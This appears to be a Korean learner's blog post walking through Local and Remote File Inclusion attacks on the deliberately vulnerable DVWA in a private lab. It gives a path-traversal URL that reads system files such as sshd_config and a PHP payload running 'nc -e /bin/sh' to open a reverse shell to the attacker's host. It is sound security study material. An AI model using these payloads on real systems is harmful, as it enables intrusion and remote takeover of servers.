- 같은 서버 내의 어떤 파일도 읽을 수 있는 취약점이다.
- php 언어의 include 함수의 취약점을 이용한 공격이다.
- 서버 내부 로컬의 파일을 실행하는 공격이어서 Local File Inclusion 이라고 불린다.
- 외부 서버에 있는 파일을 가져와 공격 대상 서버에서 파일을 실행하는 공격이어서 Remote File Inclusion 이라고 불린다.
- 웹 서버 애플리케이션 관련 WWW 디렉토리의 외부의 파일에 접근이 가능한 것이다.
- /etc/passwd나 /etc/shadow와 같은 민감한 정보에도 접근 가능한 취약점이다.
- 코드 실행 취약점과 비슷한 맥락으로 진행된다.
[Linux] 웹 사이트 코드 실행 취약점 공격 [웹 사이트 해킹 / 코드 실행 취약점]
- Ping 주소 다음에 한 줄의 명령어에 다수의 명령어를 이어서 입력 및 실행 가능하게 만든 ; 와 비슷하다.
[웹 사이트 로컬 파일 삽입 취약점 공격]
1. 공격 대상에 대한 정보 수집
- 취약점이 가득한 웹 서버의 웹 사이트로 이동한다.
- 이번에 알아볼 것은 파일 삽입 공격이기 때문에, File Inclusion으로 이동했다.
- 친절하게 공격 방법까지 제시해주는 멋진 웹 사이트다.
- 파일 인클루전 공격을 위해서, URL 안에 있는 [?page=index.php] 를 수정하라고 한다.
- http://192.168.111.131/dvwa/vulnerabilities/fi/?page=include.php 주소를 보면 [fi/?page=include.php]가 실행된 것으로 보인다.
- page라는 값이 다른 페이지를 불러오는 것처럼 보여서, ChatGPT에 물어보니 맞는 것 같다.
- "page" 라는 파라메터에 그 값으로 include.php라는 파일이 왔다.
2. 로컬 파일 인클루전 공격
- 이를 활용하며, 로컬 파일의 정보를 페이지에 출력해볼 수 있다.
- 먼저, include.php의 주소를 알아내기 위해, 조그만 오류를 낸다. ?를 지워서 확인해보자
- /var/www/dvwa/vulnerabilities/fi/include.php 위치에 include.php파일이 존재하는 것을 알 수 있다.
- /etc/ssh/sshd_config의 위치로 가기 위해서는 5번을 상위 디렉토리로 이동해야한다.
- /etc/ssh/sshd_config 으로 가기 위한 경로는 다음과 같다.
http://192.168.111.131/dvwa/vulnerabilities/fi/?page=/../../../../../etc/ssh/sshd_config
- 위 주소를 웹 브라우저에 입력하여 해당 파일을 다음 사진과 같이 읽어올 수 있다.
- 사용자 계정의 소유자 그룹과 셸과 같은 정보들도 전부 접근하여 볼 수 있다.
- 그리고, 코딩은 1도 모르지만, 내부 웹 서버의 php를 살펴보았다.
- page에 원하는 값을 입력하면, 그대로 웹 인터페이스에 노출되는 것이다.
[웹 사이트 원격 파일 삽입 취약점 공격]
1. 원격 파일 인클루전 공격 전 설정
- 원격으로 공격자의 서버에 있는 파일을 실행할 수 있다.
- 이를 위해서, 몇 가지를 수정해야한다.
- php.ini에서 url 접근 관련 설정을 수정해야한다.
- allow_url_include = on으로 바꾸어서, include 함수가 URL을 열 수 있도록 설정한다.
- 그리고, 공격자의 서버에 다음 내용이 담긴 txt 파일을 생성한다.
- 이 txt 안에 php 언어가 있는데, 192.168.111.128:8080(공격자)로 연결하여 sh 셸을 실행하는 것이다.
<?php
passthru("nc -e /bin/sh 192.168.111.128 8080");
php>
- 자세한 것은 ChatGPT에게 물어보았다.
- passthru() 는 운영 체제 상에서 명령어를 실행하는 함수다. 명령어를 파라메터로 받아서 실행한다.
- 만든 파일을 공격자(Kail) 웹 서버에 저장해놓는다.
- 이제 파일은 공격 대상 서버에서 불러오고, 해당 파일을 실행시켜서 아래 php 문을 실행할 수 있다.
2. 원격 파일 인클루전 공격 실행
- 코드 실행 취약점 공격에 사용했던 nc 도구를 사용한다.
- 이 도구를 사용하여 공격자는 8080 Port를 열어두고, 공격 대상 서버가 연결하기를 기다린다.
- 관련 내용은 최상단에 첨부해둔 링크에서 확인할 수 있다.
- 또한, 공격자의 웹 서버에 이 파일을 저장해두었기 때문에, apache2가 잘 구동하고 있는지 확인한다.
- 공격자 웹 서버 안에 있는 파일에 도달할 수 있는 URL을 입력한다.
- [page=] 이후로의 입력값, 파일이나 URL을 그대로 실행하는 취약점이기 때문에 [reverse_test.txt]가 실행된다.
- 실행하면서 php 구문의 코드가 실행되고, 192.168.111.128:8080에 접속하여 sh을 실행한다.
- 그 결과로 공격자는 공격 대상 서버에서 원하는 명령어를 입력하여 취약점 공격이 성공했다.
* 어려워서 다시 공부하고 봐야겠다. php 구문은 1도 모르겠는데 php 기초만 알아봐야겠다.
'IT > ㄴ Web Site Hacking' 카테고리의 다른 글
[Linux] 웹 사이트 코드 실행 취약점 공격 [웹 사이트 해킹 / 코드 실행 취약점] (0) | 2023.07.14 |
---|---|
[Linux] 웹 사이트 파일 업로드 취약점 공격 [웹 사이트 해킹 / 파일 업로드 취약점] (0) | 2023.07.13 |
[Linux] 웹 사이트 파일 및 디렉토리 정보 수집 도구 dirb [웹 사이트 해킹 / 정보 수집] (0) | 2023.07.12 |